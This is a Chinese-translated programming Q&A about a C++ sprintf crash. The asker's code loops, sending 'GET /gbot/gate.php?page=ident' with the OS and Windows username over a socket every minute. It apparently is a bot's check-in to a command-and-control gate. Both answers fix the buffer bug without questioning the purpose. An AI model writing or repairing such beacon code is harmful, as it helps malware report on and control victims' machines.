关于GET和sprintf的C ++代码

时间:2013-04-09 22:09:36

标签: c++ get

while(true)
{
    char *mybuf;
    if(getenv("windir") != NULL)
    {
        //mybuf = "GET /gbot/gate.php?page=ident&os=windows&username=%s\r\n\r\n";
        sprintf(mybuf, "GET /gbot/gate.php?page=ident&os=windows&username=%s\r\n\r\n", getenv("username"));
    }
    else
        mybuf = "GET /gbot/gate.php?page=ident&os=linux\r\n\r\n";
    send(Socket, mybuf, strlen(mybuf), 0);
    char buffer[10000];
    recv(Socket, buffer, 10000,0);
    cout << buffer;
    _sleep(60000);
}

我有这个代码,sprintf崩溃了程序。 如何制作mybuf,包含用户名(getenv),而不会导致我的项目崩溃? 很多。

2 个答案:

答案 0 :(得分:2)

char *mybuf只会给你一个char指针,而不是别的。您需要实际分配char缓冲区,以便sprintf有一些地方可以将结果写入。尝试将其改为数组(以避免进行手动内存管理):

char mybuf[SIZE];

SIZE替换为您想要的缓冲区大小。

但是,我担心您认为自己正在编写C ++。这看起来更像是C。

答案 1 :(得分:2)

除非确实想要创建缓冲区溢出的另一个问题,否则根本不要使用sprintf。既然你已经标记了这个C ++,我会建议更像:

std::string mybuf("GET /gbot/gate.php?page=ident&os=");

if(getenv("windir") != NULL) {
    mybuf += "windows&username=";
    mybuf += getenv("username");
    mybuf += "\r\n\r\n";
}
else
    mybuf += "linux\r\n\r\n";

send(Socket, mybuf.c_str(), mybuf.length(), 0);